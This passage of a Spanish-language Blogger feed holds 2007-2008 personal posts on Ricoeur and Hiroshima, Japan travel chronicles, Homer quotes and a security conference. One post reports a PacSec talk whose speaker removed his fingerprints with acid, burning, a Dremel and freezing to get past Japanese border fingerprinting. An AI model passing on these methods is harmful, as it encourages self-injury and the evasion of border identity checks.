href='http://www.blogger.com/feeds/6583006355693901620/posts/default/7106902405834798336'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/08/apology-of-forking-shellcode.html' title='Apology of forking shellcode'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-1581672517050143348</id><published>2008-06-30T16:12:00.000-07:00</published><updated>2008-07-01T17:07:42.716-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='reflexión'/><category scheme='http://www.blogger.com/atom/ns#' term='ricoeur'/><category scheme='http://www.blogger.com/atom/ns#' term='hiroshima'/><category scheme='http://www.blogger.com/atom/ns#' term='enola gay'/><title type='text'>Reflexión o Barbarie</title><content type='html'>Dice sabiamente Ricoeur:&lt;br /&gt;"La guerra es y sigue siendo a nuestros ojos, ese cataclismo, esa irrupción del caos, ese retorno a la lucha por la vida en las relaciones externas de Estado con Estado. Esta sinrazón histórica tiene que seguir siendo injustificada e injustificable; el acontecimiento que consagra la separación completa de la caridad y de la violencia, al hacer saltar el vínculo frágil - la prohibición del homicidio - que las mantenía juntas, no puede ser objeto de una deducción moral."&lt;br /&gt;&lt;br /&gt;Paul Ricoeur en Historia y Verdad, habla de dos éticas bien distintas en el hombre analizado a través del cristianismo.&lt;br /&gt;La primera, el agapé cristiano, es decir la ética del amor al projimo, del "amaros los unos a los otros", que es tambien la etica de la caridad, la de poner la otra mejilla. Esta etica propone una forma sacrifical del amor, al no haber una resistencia ante una violencia.&lt;br /&gt;La segunda etica, la pone en manifiesto San Pablo en el capitulo XIII de la Carta a los Romanos, cuando introduce la figura del magistrado "Cada uno en esta vida debe someterse a las autoridades. Pues no hay autoridad que no venga de Dios, y los cargos públicos existen por voluntad de Dios.". Ricoeur dice que aqui Pablo rompe con la invitación al amor mutuo y traza esta figura de autoridad la cual &lt;span style="font-style: italic;"&gt;castiga&lt;/span&gt; al que obra mal.&lt;br /&gt;Y ahí la ruptura entre las dos eticas, la del sacrificio que devuelve bien por mal y la del Estado coactivo, que devuelve mal por mal.&lt;br /&gt;Pero hay un unico e indicustible limite   entre las dos que las puede matener juntas, la prohibición del homicido "no mataras". Ese es el limite del Estado, el respeto a la persona en su vida y su dignidad.&lt;br /&gt;&lt;br /&gt;Hace pocos días, tuve la oportunidad de visitar el Museo Aeroespacial Steven F. Udvar-Hazy, donde tenian en exposición el Enola Gay, el infame Boeing B-29 que en 1945 lanzó la primera bomba atomica que explotó en la ciudad de Hiroshima, en Japon.&lt;br /&gt;Cuando el fuselaje del mismo fue expuesto en un museo de similar caracteristicas, surgieron muchas controversias, pero al contrario de las que se le hubieran suscitado a cualquier hombre de templanza, mas bien relacionadas con un conflicto interior etico,  las protestas estuvieron dirigidas a que la muestra enfatizaba los resultados nefastos de la bomba atomica en lugar de las motivaciones y el rol que cumplió la bomba para terminar la segunda guerra mundial.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Museo Aeroespacial Steven F. Udvar-Hazy&lt;/b&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_aUReV5sSeqk/SGmGMjtHpLI/AAAAAAAADBM/sXYU8xxbu8E/s1600-h/dsc01028.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_aUReV5sSeqk/SGmGMjtHpLI/AAAAAAAADBM/sXYU8xxbu8E/s400/dsc01028.jpg" alt="" id="BLOGGER_PHOTO_ID_5217849193586468018" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Museo de la Paz (Hiroshima, JAPON)&lt;/b&gt; &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_aUReV5sSeqk/SGmGM-xEWkI/AAAAAAAADBU/m0ol6vBlwTY/s1600-h/DSC_3648.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_aUReV5sSeqk/SGmGM-xEWkI/AAAAAAAADBU/m0ol6vBlwTY/s400/DSC_3648.JPG" alt="" id="BLOGGER_PHOTO_ID_5217849200850786882" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-1581672517050143348?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/1581672517050143348/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=1581672517050143348' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1581672517050143348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1581672517050143348'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/06/reflexin-o-barbarie.html' title='Reflexión o Barbarie'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_aUReV5sSeqk/SGmGMjtHpLI/AAAAAAAADBM/sXYU8xxbu8E/s72-c/dsc01028.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-4300086648306349605</id><published>2008-06-23T16:56:00.000-07:00</published><updated>2008-06-23T16:59:30.248-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sisifo argentino'/><title type='text'>¿Qué hacemos Juan Carlos?</title><content type='html'>&lt;div style="text-align: right;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_aUReV5sSeqk/SGA4jgafueI/AAAAAAAAC9A/D5Of1Rm6qH0/s1600-h/841976.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_aUReV5sSeqk/SGA4jgafueI/AAAAAAAAC9A/D5Of1Rm6qH0/s400/841976.JPG" alt="" id="BLOGGER_PHOTO_ID_5215230551142676962" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;&lt;span style="font-family:courier new;"&gt;Liniers - La Nacion, 18 de Junio&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-4300086648306349605?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/4300086648306349605/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=4300086648306349605' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/4300086648306349605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/4300086648306349605'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/06/que-hacemos-juan-carlos.html' title='¿Qué hacemos Juan Carlos?'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_aUReV5sSeqk/SGA4jgafueI/AAAAAAAAC9A/D5Of1Rm6qH0/s72-c/841976.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-5621758861876721395</id><published>2008-06-03T16:32:00.000-07:00</published><updated>2008-06-03T16:40:41.303-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tokyo'/><category scheme='http://www.blogger.com/atom/ns#' term='bitacora'/><category scheme='http://www.blogger.com/atom/ns#' term='pelicula'/><category scheme='http://www.blogger.com/atom/ns#' term='dvd'/><title type='text'>Encargue su DVD ya!</title><content type='html'>Mientras escribo estas palabras, el iDVD de la minimac está abriendo todas sus bastas y pequeñas puertas lógicas para renderear la version cinematográfica de las bitacoras de Japon.&lt;br /&gt;Aproxidamante son 45 misteriosos, excitantes, atrapantes y desafiantes minutos del video que casi de soslayo grabamos en aquellas entrañables tierras remotas.&lt;br /&gt;&lt;br /&gt;  Los capitulos estan divididos en Shibuya (Tokyo), Cruce de Shibuya, Akihabara, Takayama y Ryokan Asunaro. Los lectores mas lúcidos de las crónicas escritas notaran la falta de muchos otros lugares, pero el ojo electrónico de la mini-dv solo se encendió en contadas oportunidades.&lt;br /&gt;  Pero a no alarmarse, que las aventuras siguen ahí, tan vigente como en las páginas de este blog.&lt;br /&gt;&lt;br /&gt;A disfrutar!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-5621758861876721395?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/5621758861876721395/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=5621758861876721395' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5621758861876721395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/5621758861876721395'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/06/encargue-su-dvd-ya.html' title='Encargue su DVD ya!'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-7895793318833203639</id><published>2008-02-18T04:10:00.000-08:00</published><updated>2008-02-18T04:17:06.066-08:00</updated><title type='text'>Un momento de lucidez</title><content type='html'>Los que pueden... se corren del monitor, enderazan la comisura de los labios y la mirada, como aquellos senderos bifurcados de Borges, lentamente se les pierde en la finitud del  paisaje urbano. La reflexion es inminente...&lt;br /&gt;&lt;br /&gt;Sabian que ya hay generaciones mayores de 18, nacidas durante la presidencia de Carlos S. Menem?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-7895793318833203639?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/7895793318833203639/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=7895793318833203639' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/7895793318833203639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/7895793318833203639'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/02/un-momento-de-lucidez.html' title='Un momento de lucidez'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-1756268278194158622</id><published>2008-01-12T13:46:00.000-08:00</published><updated>2008-01-12T13:57:48.404-08:00</updated><title type='text'>Antidepresivos en la Epica</title><content type='html'>"&lt;span style="font-style: italic;"&gt;Entonces, Helena, nacida de Zeus, pensó otra cosa: al pronto echó en el vino del que bebían una droga para disipar el dolor y aplacadora de la cólera que hacía echar a olvido todos los males. Quien la tomara después de mezclada en la crátera, no derramaría lágrimas por las mejillas durante un día, ni aunque hubieran muerto su padre y su madre o mataran ante sus ojos con el bronce a su hermano o a su hijo. Tales drogas ingeniosas tenía la hija de Zeus, y excelentes, las que le había dado Polidamna, esposa de Ton, la egipcia, cuya fértil tierra produce muchísimas drogas, y despues de mezclarlas muchas son buenas y muchas perniciosas; y allí cada uno es médico que sobresale sobre todos los hombres, pues es vástago de Peón. Así pues, luego que echó la droga ordenó que se escanciara vino de nuevo;&lt;/span&gt; [...]"&lt;br /&gt;&lt;br /&gt;Odisea, Homero. Canto IV. Párrafo 219.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-1756268278194158622?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/1756268278194158622/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=1756268278194158622' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1756268278194158622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1756268278194158622'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/01/antidepresivos-en-la-epica.html' title='Antidepresivos en la Epica'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-1138379829537813841</id><published>2008-01-11T08:35:00.000-08:00</published><updated>2008-01-11T08:49:18.985-08:00</updated><title type='text'>De Homero, sobre el vino</title><content type='html'>"Te trastorna el vino, dulce como la miel, el que daña a quien lo arrebata con avidez y no lo bebe comedidamente"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-1138379829537813841?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/1138379829537813841/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=1138379829537813841' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1138379829537813841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/1138379829537813841'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/01/de-homero-sobre-el-vino.html' title='De Homero, sobre el vino'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-984481074294595366</id><published>2008-01-06T18:33:00.000-08:00</published><updated>2008-01-06T18:46:15.823-08:00</updated><title type='text'>Borrarse las Huellas Dactilares</title><content type='html'>Dentro de las ponencias de PacSec, se destacan los lighting talk, que son charlas de 10 a 15 minutos mostrando algo muy puntual.&lt;br /&gt;Una de las charlas que llamo mas la atencion, fue la del Canadiense "mock" un habitue del staff de organizadores, en la cual utilizaba distintas tecnicas masoquistas para borrar sus huellas.&lt;br /&gt;Entre ellas uso:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Cyanoacrylate: Tambien conocida como "la gotita"&lt;/li&gt;&lt;li&gt;Piedra para callos (y mucha paciencia)&lt;/li&gt;&lt;li&gt;Usando un dremel&lt;/li&gt;&lt;li&gt;Acido&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Quemandose: Utilizo una plancha para bifes&lt;/li&gt;&lt;li&gt;Congelando con propano comprimido&lt;/li&gt;&lt;/ul&gt; Todo este dolor, fue en el contexto de una nueva modificacion en los controles aduaneros de Japon, en la cual todos los extranjeros tienen que dejar sus huellas digitales y una foto para ingresar al pais.&lt;br /&gt;El logro su cometido, al entrar simplemente llenando un formulario (Luego de varios intentos fallidos de digitalizar las quemaduras). La excusa utilizada fue  supuesto accidente que le ocurrio esquiando cuando sus dedos se le quedaron pegado a un hierro congelado.&lt;br /&gt;Segun lo que me conto, no fue ni el primero ni el ultimo en entrar al Japon sin digitalizacion, ya que aparentemente a los ancianos se les suele perder el dibujo de las huellas con el tiempo.&lt;br /&gt;&lt;br /&gt;Para los morbosos, &lt;a href="http://sketchfactory.com/static/yokosojapan.pdf"&gt;aqui&lt;/a&gt; pueden encontrar un pdf con las slides.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-984481074294595366?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/984481074294595366/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=984481074294595366' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/984481074294595366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/984481074294595366'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/01/borrarse-las-huellas-dactilares.html' title='Borrarse las Huellas Dactilares'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-4633284675528640922</id><published>2007-12-12T04:47:00.001-08:00</published><updated>2007-12-12T04:49:43.445-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sanfrecce'/><category scheme='http://www.blogger.com/atom/ns#' term='soccer'/><category scheme='http://www.blogger.com/atom/ns#' term='hiroshima'/><category scheme='http://www.blogger.com/atom/ns#' term='futbol'/><category scheme='http://www.blogger.com/atom/ns#' term='japan'/><title type='text'>Todos con el Sanfre !</title><content type='html'>&lt;object height="355" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/t4YzKl_iP_g&amp;amp;rel=1"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.youtube.com/v/t4YzKl_iP_g&amp;amp;rel=1" type="application/x-shockwave-flash" wmode="transparent" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Sanfrecce F.C. en directo, en las calles de Hiroshima&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-4633284675528640922?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/4633284675528640922/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=4633284675528640922' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/4633284675528640922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/4633284675528640922'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/12/todos-con-el-sanfre.html' title='Todos con el Sanfre !'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-3068163922619413632</id><published>2007-12-11T20:19:00.000-08:00</published><updated>2007-12-11T20:20:04.009-08:00</updated><title type='text'>Cronicas Nipponas - 12vo Capitulo "El regreso"</title><content type='html'>Lamentable y afortunadamente cuando uno husmea otras culturas no puede&lt;br /&gt;dejar de caer en comparaciones desbaratadoras, que vulneran los&lt;br /&gt;propios sentidos.&lt;br /&gt;&lt;br /&gt;Tuvimos la gran oportunidad de conocer una cultura lejana para&lt;br /&gt;nosotros, tanto geograficamente como en conocimiento y consideracion,&lt;br /&gt;como es Japon.&lt;br /&gt;&lt;br /&gt;Sin idealizar ni profundizar mucho, lo que resalta a simple vista es&lt;br /&gt;una extendida internalizacion de la norma, esto es la ley: respetar,&lt;br /&gt;mantener limpia la ciudad, no hablar por celular en los&lt;br /&gt;trenes y subtes simplemente para no molestar a los demas.&lt;br /&gt;&lt;br /&gt;Tambien se destaca el enorme desarrollo economico y tecnologico. Y aqui viene una gran&lt;br /&gt;cuestion de comparacion: Japon es un pais minusculo con 127 millones de&lt;br /&gt;habitantes, alrededor de 337 de personas y media por kilometro cuadrado frente a los 14&lt;br /&gt;que somos nosotros. Y con menores "recursos naturales" a disposicion que nosotros.&lt;br /&gt; &lt;br /&gt; Pero en que consisten los recursos, en aquellos dones dados por la&lt;br /&gt;sabia naturaleza o en la capacidad de razonar para poder utilizarlos&lt;br /&gt;en propio bienestar y provecho.&lt;br /&gt;&lt;br /&gt; De que sirven enormes recursos naturales si los "otros recursos" no existen o estan&lt;br /&gt;en decadencia. La respuesta es obvia, los recursos estan&lt;br /&gt;en la mente, y eso es inteligencia.&lt;br /&gt; &lt;br /&gt;Hiroshima despues de aproximadamente 50 anos de un devastamiento nuclear se recupera y es&lt;br /&gt;hoy lo que es, Argentina despues de 50 anos desde la misma fecha en&lt;br /&gt;que cayo en la bomba -Epoca en que nosotros eramos conocidos por el granero del mundo-,&lt;br /&gt;se encuentra en uno de sus peores momentos en cuanto a indices de pobreza y violencia.&lt;br /&gt;&lt;br /&gt; Que paso con la abundancia de recursos?  Ah cierto, no se bastaban por si solos, no se&lt;br /&gt;trataba sencillamente de generacion espontanea?&lt;br /&gt;&lt;br /&gt;Habia que hacer algo con ellos. Si algo!. Trabajar.  Para programar a largo plazo, planificar,&lt;br /&gt;cumplir objetivos, imponer una ley justa, educar, perseverar y&lt;br /&gt;volver a perseverar, lograr una base sustentable y continua a partir de donde&lt;br /&gt;despegar.&lt;br /&gt;&lt;br /&gt;Pero no hacemos mas que derrumbar las bases y flotamos a la&lt;br /&gt;deriva, esperando que solo el viento nos devuelva, despues de cada&lt;br /&gt;tormenta, a un lugar seguro. Sabemos lo que paso y lo que esta&lt;br /&gt;pasando.&lt;br /&gt;&lt;br /&gt; En Argentina por el contrario lo que se ve a cada instante, desde que bajas del avion&lt;br /&gt;y pones pies en tierra "firme", una constante transgresion a la norma, y un elogio permanente de la misma&lt;br /&gt;permanente.&lt;br /&gt;&lt;br /&gt;Somos muy vivos y despues nos reimos socarronamente&lt;br /&gt;de los demas: el ponja, el chino etc. &lt;br /&gt;&lt;br /&gt;Y nosotros?  Donde estamos? Nos reimos de nosotros mismos tan socarronamente?&lt;br /&gt;&lt;br /&gt;Los periodistas que cubren el partido de Boca, se asombran porque en Japon se pueden ver personas por la calle con&lt;br /&gt;dos celulares. Me importa poco si son 2 o 3, La realidad es que quien tiene 2 celulares puede y el que puede, no deja de comer y&lt;br /&gt;consume.&lt;br /&gt;La tecnologia no esta solo en los aparatos electronicos para consumo individual sino que se plasma en un bien&lt;br /&gt;social como los transportes publicos. &lt;br /&gt;Como decia, me importa poco si usan por demas tecnologia, pues la tienen, nosotros no la tenemos,&lt;br /&gt;no la valoramos, no la desarrollamos, no podemos hablar.   El exceso es&lt;br /&gt;un problema aparte importante, pero mas grave es la escasez: De&lt;br /&gt;recursos sociales, no de individualidades geniales.&lt;br /&gt;&lt;br /&gt;Cristina, el modelo industrial era valido quizas en el '45, ahora se requiere una mayor inversion cientifico, tecnoligica y cultural.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hasta pronto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-3068163922619413632?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/3068163922619413632/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=3068163922619413632' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3068163922619413632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3068163922619413632'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/12/cronicas-nipponas-12vo-capitulo-el.html' title='Cronicas Nipponas - 12vo Capitulo &quot;El regreso&quot;'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-2053053390958921123</id><published>2007-12-11T09:10:00.001-08:00</published><updated>2007-12-11T09:14:48.545-08:00</updated><title type='text'>Otra mas de la conferencia...</title><content type='html'>Esta es una foto panoramica de la conferencia durante mi charla.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_aUReV5sSeqk/R17E0m0DAaI/AAAAAAAACqo/3RLbFGsbUA8/s1600-h/2094364077_7acc9f0d1c_b.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_aUReV5sSeqk/R17E0m0DAaI/AAAAAAAACqo/3RLbFGsbUA8/s320/2094364077_7acc9f0d1c_b.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5142764232554774946" /&gt;&lt;/a&gt;&lt;br /&gt;Las aberraciones del angular en los extremos, da la sensacion que era un salon chico, pero facilmente debia tener alrededor de 50 metros de ancho y la mitad de largo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kudos a &lt;a href="http://www.flickr.com/photos/hirosan"&gt;Hirosan&lt;/a&gt; por la foto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-2053053390958921123?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/2053053390958921123/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=2053053390958921123' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2053053390958921123'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2053053390958921123'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/12/otra-mas-de-la-conferencia.html' title='Otra mas de la conferencia...'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_aUReV5sSeqk/R17E0m0DAaI/AAAAAAAACqo/3RLbFGsbUA8/s72-c/2094364077_7acc9f0d1c_b.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6919351378316058382</id><published>2007-12-11T06:18:00.000-08:00</published><updated>2007-12-11T06:22:12.421-08:00</updated><title type='text'>Rock and Roll carajo!</title><content type='html'>Lo que pueden ver en el video, es un pequeno fragmento de una ceremonia budista en el templo Daisho-In. &lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" 